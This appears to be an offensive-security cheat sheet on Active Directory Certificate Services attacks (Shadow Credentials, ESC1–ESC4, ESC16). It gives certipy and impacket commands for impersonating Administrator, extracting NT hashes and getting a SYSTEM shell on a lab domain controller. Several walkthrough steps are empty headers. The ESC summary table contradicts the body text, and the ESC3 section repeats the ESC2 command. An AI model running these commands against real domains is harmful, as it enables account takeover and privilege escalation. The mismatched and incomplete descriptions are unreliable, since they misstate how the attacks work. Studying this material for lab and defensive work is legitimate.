ADCS

Active Directory Certificate Services (ADCS) is a Windows Server role that provides certificate-based authentication and Public Key Infrastructure (PKI) functionality in AD environments. It runs as a service and communicates over TCP 135 and dynamic RPC ports, primarily for certificate issuance and management. If Web Enrollment or related features are enabled, it may also use ports 80 and 443.

Tools like certipy interact with ADCS over these ports, particularly via RPC.

ADCS is like an internal digital ID system for a Windows domain. Instead of printing physical ID cards, it issues digital certificates that users and computers can use to log in, encrypt communications, or sign data. These certificates are trusted across the domain, so if an attacker can trick ADCS into giving them a certificate, it's similar to getting a valid employee badge — they can impersonate someone else and gain access.

The certificate enrollment process (image taken from here).

Shadow Credentials

The Shadow Credentials attack abuses the msDS-KeyCredentialLink attribute in AD to add a malicious authentication certificate to an account — typically a service or privileged account. This allows the attacker to impersonate the target account via certificate-based authentication (PKINIT), without needing their password or hash.

Requirements:

• The attacker must have Write access to the target's msDS-KeyCredentialLink attribute.

• ADCS must be configured to allow certificate-based authentication (PKINIT).

certipy

certipy shadow auto automates the shadow credentials attack by injecting a forged certificate into a target account's msDS-KeyCredentialLink attribute. It authenticates with provided credentials, adds the malicious credential, and requests a certificate tied to the target:

certipy shadow auto -u <user@domain> -p <pass> -account 'ca_svc' -dc-ip <dc-ip>

This results in the two files and a hash:

• .pfx : contains the certificate and private key the attacker got from the CA. It can be imported into Windows or used with tools that support PKI authentication to authenticate as the user.

• .ccache: this is a Kerberos credential cache file, generated after using the certificate for PKINIT (certificate-based Kerberos auth). It allows us to authenticate with Kerberos tickets as that user without a password or NT hash. Tools like impacket or kinit can use it to get tickets.

• NT hash: this is extracted from memory (via the Key Credential attack), giving us a password-equivalent credential we can use in typical NTLM-based attacks like Pass-the-Hash or SMB authentication.

pywhisker

ESC Attacks

The terms ESC1, ESC2, etc., come from a threat model and classification system introduced by SpecterOps. These labels don’t stand for acronyms — ESC simply means ESCalation — and they’re followed by a number to identify different types of attack paths related to ADCS.

Label	Description	Key Risk
ESC1	Misconfigured template allows users to request certs for others	Identity impersonation
ESC2	Misconfigured template allows user-supplied Subject Alternative Name (SAN)	Identity impersonation
ESC3	Misconfigured template allows enrollment with client authentication and no manager approval	Template abuse
ESC4	Control over Cert Publisher user lets attacker modify templates	Template abuse
ESC16	Certificate Authority (CA) has Security Extensions disabled, allowing unauthorized certificate issuance	Identity impersonation

This ESC4 → ESC1 chain is especially dangerous as it leverages legitimate ADCS functionality, making detection difficult. Issued certificates may remain valid for years, providing long-term persistence unless explicitly revoked. For an example of this attack chain see EscapeTwo.

The first step in all ESC attacks is to identify a vulnerable template:

A NT hash can be also used with the -hashes <NT-hash> option.

# Test for vulnerable templates
$ certipy find -u <user>@<domain> -p <pass> -stdout -vuln
...
    [!] Vulnerabilities
      ESC1  : '<domain>\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
      ESC2  : '<domain>\\Domain Users' can enroll and template can be used for any purpose
      ESC3  : '<domain>\\Domain Users' can enroll and template has Certificate Request Agent EKU set
      ESC4  : User has dangerous permissions.
      ESC16 : Security Extension is disabled.               

Certipy

Enumerate for vulnerable templates using Certipy:

$ certipy find -u <user>@<domain> -p <pass> -stdout -vuln
...
    [!] Vulnerabilities
      ESC1  : '<domain>\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
      ESC2  : '<domain>\\Domain Users' can enroll and template can be used for any purpose
      ESC3  : '<domain>\\Domain Users' can enroll and template has Certificate Request Agent EKU set
      ESC4  : User has dangerous permissions.
      ESC16 : Security Extension is disabled.               

Certify

Identity Hijack (ESC1)

Certipy's documentation for ESC1.

ESC1 is a certificate template misconfiguration where low-privileged users can request certificates and specify arbitrary identities in the Subject Alternative Name (SAN) field. This occurs when the template:

• Has the Supply in the request enabled

• Includes the Client Authentication EKU

• Grants enrollment rights to broad groups

• Doesn't enforce additional controls such as manager approval or authorized signatures

Certipy

Request a certificate for the Administrator account:

certipy req -u [e-mail] -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn [e-mail] -target dc01.sequel.htb -target-ip 10.10.11.51

Authenticate as the administrator using the PFX file and get the NT hash:

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.51
Certipy v5.0.2 - by Oliver Lyak (ly4k)
...
[*] Got hash for '[e-mail]': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Use the NT hash or cache the ticket and get a SYSTEM shell with Impacket:

# Pass-the-Hash 
impacket-psexec administrator@<dc-ip> -hashes :<NT-hash>

# Kerberos authentication
export KRB5CCNAME=administrator.ccache
impacket-psexec administrator@<domain> -k -no-pass

Certify

Identity Hijack (ESC2)

Certipy's documentation for ESC2.

ESC2 is an ADCS misconfiguration where a certificate template is configured with the Any Purpose Enhanced Key Usage (EKU) or no EKU at all, allowing the certificate to be used for any operation, including acting as an Enrollment Agent. If low-privileged users have enrollment rights for such a template, they can request a certificate that implicitly grants the ability to request certificates on behalf of other users. Combined with a target template that allows enrollment agent requests (e.g., the default User or Machine templates), an attacker can use their Any Purpose certificate to impersonate a high-privileged user like a Domain Admin. This allows privilege escalation through indirect impersonation, exploiting the CA’s implicit trust in the agent capabilities of the attacker’s certificate.

1. Any Cert

Request an any purpose certificate:

In this step, we use the vulnerable template's name.

certipy req -ca <ca-name> -dc-ip <dc-ip> -u <user>@<domain> -p <pass> -template <vulnerable-to-ESC2-template-name> -target <domain-fqdn>

2. Admin Cert

3. Auth

4. Impersonate

Template Abuse (ESC3)

Certipy's documentation for ESC3.

ESC2 vs ESC3

• ESC2: Template allows any purpose usage + lacks protections (like no approval or manager check)

• ESC3: Template has Certificate Request Agent EKU and lacks approval

ESC3 is a vulnerability where a misconfigured certificate template allows users to obtain Enrollment Agent certificates, which can be used to request certificates on behalf of other users. If the attacker can enroll for such a certificate—either directly or via an Any Purpose template (ESC2)—and a second template allows agent-based enrollment (often the case with default templates like User or Machine), the attacker can impersonate privileged users like Domain Admins by obtaining certificates in their name, leading to privilege escalation.

1. Any Cert

Request an any purpose certificate:

In this step, we use the vulnerable template's name.

certipy req -ca <ca-name> -dc-ip <dc-ip> -u <user>@<domain> -p <pass> -template <vulnerable-to-ESC2-template-name> -target <domain-fqdn>

2. Admin Cert

3. Auth

4. Impersonate

Template Abuse (ESC4)

Certipy's documentation for ESC4.

ESC4 is a misconfiguration where unintended AD principals can edit a template's sensitive security settings.

In CTF labs the attack chain can look like this:

1. Account take over of ca_svc (member of the Cert Publishers group)

2. The Cert Publishers group is misconfigured with WriteAccess over a template

3. Template modification that makes it vulnerable to ESC1

# Make the template vulnerable to ESC1
$ certipy template -u [e-mail] -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -write-default-configuration
...
[*] Successfully updated 'DunderMifflinAuthentication'

Identity Hijack (ESC16)

Certipy's documentation for ESC16.

ESC16 occurs when a CA is misconfigured to exclude a critical SID extension from all issued certificates. This weakens certificate-based authentication by forcing DCs to fall back on insecure mappings like UPN or DNS names. If the domain isn't in full enforcement mode, attackers can impersonate privileged users by abusing certificate templates — even without strong SID bindings. This can happen either due to a registry setting or because the CA is unpatched (missing the May 2022 security update). ESC16 can also be combined with ESC6 to fully bypass SID validation, even in stricter environments.

1. Read

Read initial UPN of the victim account for restoration purposes:

$ uv run certipy account -u <user> -p <pass> -dc-ip <dc-ip> -user 'ca_svc' read
...
   userPrincipalName                   : [e-mail]

2. Update

3. Shadow Creds

3. Request

4. Revert

5. Auth

Resources

• SpecterOps Certified Pre-Owned (2021) whitepaper (article)

• RBT's short articles and video walkthrough about the ESCs attacks (ESC1, ESC2, ESC3, ESC4)